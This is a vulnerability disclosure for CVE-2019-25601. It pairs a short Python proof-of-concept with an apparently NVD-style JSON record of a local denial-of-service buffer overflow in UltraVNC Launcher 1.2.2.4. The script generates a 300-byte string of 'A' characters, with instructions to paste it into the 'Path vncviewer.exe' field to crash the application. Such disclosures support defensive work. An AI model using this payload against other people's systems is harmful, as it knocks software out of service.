CVE-2019-25601

# PoC for CVE-2019-25601 # Generates a payload to trigger the buffer overflow in UltraVNC Launcher 1.2.2.4 def generate_exploit_payload(): # The vulnerability is triggered by a payload of approximately 300 bytes # Inputting this string into the 'Path vncviewer.exe' field causes a crash payload = "A" * 300 return payload if __name__ == "__main__": exploit = generate_exploit_payload() print(f"[+] Generated Payload Length: {len(exploit)}") print(f"[+] Payload: {exploit}") print("[+] Instruction: Copy the payload and paste it into the 'Path vncviewer.exe' property field in the UltraVNC Launcher Properties dialog.")

{"cve": {"id": "CVE-2019-25601", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:27.530", "lastModified": "2026-04-16T16:19:50.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "UltraVNC Launcher 1.2.2.4 contains a buffer overflow vulnerability in the Path vncviewer.exe property field that allows local attackers to crash the application by supplying an excessively long string. Attackers can input a 300-byte payload of repeated characters through the Properties dialog to trigger a denial of service condition."}, {"lang": "es", "value": "UltraVNC Launcher 1.2.2.4 contiene una vulnerabilidad de desbordamiento de búfer en el campo de propiedad Path vncviewer.exe que permite a atacantes locales colapsar la aplicación al proporcionar una cadena excesivamente larga. Los atacantes pueden introducir una carga útil de 300 bytes de caracteres repetidos a través del diálogo de Propiedades para desencadenar una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46703", "source": "[email protected]"}, {"url": "https://www.uvnc.com/", "source": "[email protected]"}, {"url": "https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ultravnc-launcher-denial-of-service-buffer-overflow", "source": "[email protected]"}]}}